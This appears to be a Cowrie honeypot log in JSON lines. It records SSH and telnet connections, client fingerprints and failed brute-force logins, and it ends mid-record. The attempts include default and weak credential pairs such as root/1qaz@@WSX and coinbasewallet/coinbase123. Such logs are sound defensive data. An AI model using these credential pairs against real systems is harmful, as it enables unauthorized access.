{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:28.614297Z","src_ip":"94.138.209.214","session":"f6a9dd12183a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.084295988082886,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:46.144796Z","src_ip":"165.154.162.193","session":"d45cdb6feed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":43452,"dst_ip":"159.203.135.109","dst_port":23,"session":"90426818b300","protocol":"telnet","message":"New connection: 165.154.162.193:43452 (159.203.135.109:23) [session: 90426818b300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:46.212955Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'","password":"github.com\u0000PGET / HTTP/1.0","message":"login attempt [b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'/github.com\u0000PGET / HTTP/1.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:46.217473Z","src_ip":"165.154.162.193","session":"90426818b300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":41010,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d704926847","protocol":"telnet","message":"New connection: 137.184.5.188:41010 (159.203.135.109:23) [session: 18d704926847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:51.574394Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":53134,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc657b19730c","protocol":"ssh","message":"New connection: 210.90.155.178:53134 (10.17.0.5:22) [session: bc657b19730c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:52.402698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:52.406556Z","src_ip":"210.90.155.178","session":"bc657b19730c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:52.605324Z","src_ip":"210.90.155.178","session":"bc657b19730c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@@WSX","message":"login attempt [root/1qaz@@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:53.437890Z","src_ip":"210.90.155.178","session":"bc657b19730c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:54.640505Z","src_ip":"210.90.155.178","session":"bc657b19730c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47700,"dst_ip":"159.203.135.109","dst_port":23,"session":"265b4ae4d79f","protocol":"telnet","message":"New connection: 170.64.224.25:47700 (159.203.135.109:23) [session: 265b4ae4d79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:58.457037Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":42348,"dst_ip":"159.203.135.109","dst_port":23,"session":"758138a8320e","protocol":"telnet","message":"New connection: 137.184.5.188:42348 (159.203.135.109:23) [session: 758138a8320e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:37:59.043597Z"}
{"eventid":"cowrie.session.closed","duration":34.711472034454346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:01.915149Z","src_ip":"170.64.224.25","session":"12fa716be6ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.0790057182312,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:04.291829Z","src_ip":"165.154.162.193","session":"90426818b300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":46474,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca02cf10c49","protocol":"telnet","message":"New connection: 165.154.162.193:46474 (159.203.135.109:23) [session: fca02cf10c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:04.350878Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":54764,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cb604089f4","protocol":"ssh","message":"New connection: 132.148.155.138:54764 (10.17.0.5:22) [session: 71cb604089f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:07.442295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:07.446000Z","src_ip":"132.148.155.138","session":"71cb604089f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:07.510577Z","src_ip":"132.148.155.138","session":"71cb604089f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coinbasewallet","password":"coinbase123","message":"login attempt [coinbasewallet/coinbase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:07.709824Z","src_ip":"132.148.155.138","session":"71cb604089f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:08.777808Z","src_ip":"132.148.155.138","session":"71cb604089f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59124,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbfb6f6c1512","protocol":"telnet","message":"New connection: 170.64.224.25:59124 (159.203.135.109:23) [session: bbfb6f6c1512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:10.109011Z"}
{"eventid":"cowrie.session.closed","duration":18.070210456848145,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:22.420984Z","src_ip":"165.154.162.193","session":"fca02cf10c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.162.193","src_port":35810,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebc92bbd54c2","protocol":"telnet","message":"New connection: 165.154.162.193:35810 (159.203.135.109:23) [session: ebc92bbd54c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:22.495629Z"}
{"eventid":"cowrie.session.closed","duration":26.264539003372192,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:24.721465Z","src_ip":"170.64.224.25","session":"265b4ae4d79f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":36718,"dst_ip":"159.203.135.109","dst_port":22,"session":"abac5d8dcbd6","protocol":"ssh","message":"New connection: 99.252.20.159:36718 (159.203.135.109:22) [session: abac5d8dcbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:25.209080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:25.213135Z","src_ip":"99.252.20.159","session":"abac5d8dcbd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:25.245544Z","src_ip":"99.252.20.159","session":"abac5d8dcbd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crypto2024","message":"login attempt [root/crypto2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:25.330664Z","src_ip":"99.252.20.159","session":"abac5d8dcbd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:26.375288Z","src_ip":"99.252.20.159","session":"abac5d8dcbd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.62","src_port":31424,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9dbc7c95f4","protocol":"ssh","message":"New connection: 167.94.146.62:31424 (159.203.135.109:22) [session: 8c9dbc7c95f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:31.399542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:31.403536Z","src_ip":"167.94.146.62","session":"8c9dbc7c95f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:31.492054Z","src_ip":"167.94.146.62","session":"8c9dbc7c95f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":20686,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb5a3a02931","protocol":"ssh","message":"New connection: 203.121.40.210:20686 (159.203.135.109:22) [session: 5bb5a3a02931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:34.694843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:34.698623Z","src_ip":"203.121.40.210","session":"5bb5a3a02931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:35.047911Z","src_ip":"203.121.40.210","session":"5bb5a3a02931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026@","message":"login attempt [root/Welcome2026@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:37.340872Z","src_ip":"203.121.40.210","session":"5bb5a3a02931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:38.593358Z","src_ip":"203.121.40.210","session":"5bb5a3a02931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.077758073806763,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:40.573246Z","src_ip":"165.154.162.193","session":"ebc92bbd54c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:46.593653Z","src_ip":"167.94.146.62","session":"8c9dbc7c95f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.70997452735901,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:48.284261Z","src_ip":"137.184.5.188","session":"18d704926847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.32626295089722,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:54.435175Z","src_ip":"170.64.224.25","session":"bbfb6f6c1512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":10451,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27790e0052a","protocol":"ssh","message":"New connection: 180.247.63.92:10451 (10.17.0.5:22) [session: e27790e0052a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:58.048181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:58.052005Z","src_ip":"180.247.63.92","session":"e27790e0052a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:58.313995Z","src_ip":"180.247.63.92","session":"e27790e0052a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"operator","message":"login attempt [root/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:38:59.397983Z","src_ip":"180.247.63.92","session":"e27790e0052a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37260,"dst_ip":"159.203.135.109","dst_port":23,"session":"11e8824c0f4b","protocol":"telnet","message":"New connection: 170.64.224.25:37260 (159.203.135.109:23) [session: 11e8824c0f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:00.406857Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:00.664620Z","src_ip":"180.247.63.92","session":"e27790e0052a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ec98fbea837","protocol":"ssh","message":"New connection: 103.153.68.219:55116 (159.203.135.109:22) [session: 6ec98fbea837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:11.010176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:11.018479Z","src_ip":"103.153.68.219","session":"6ec98fbea837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.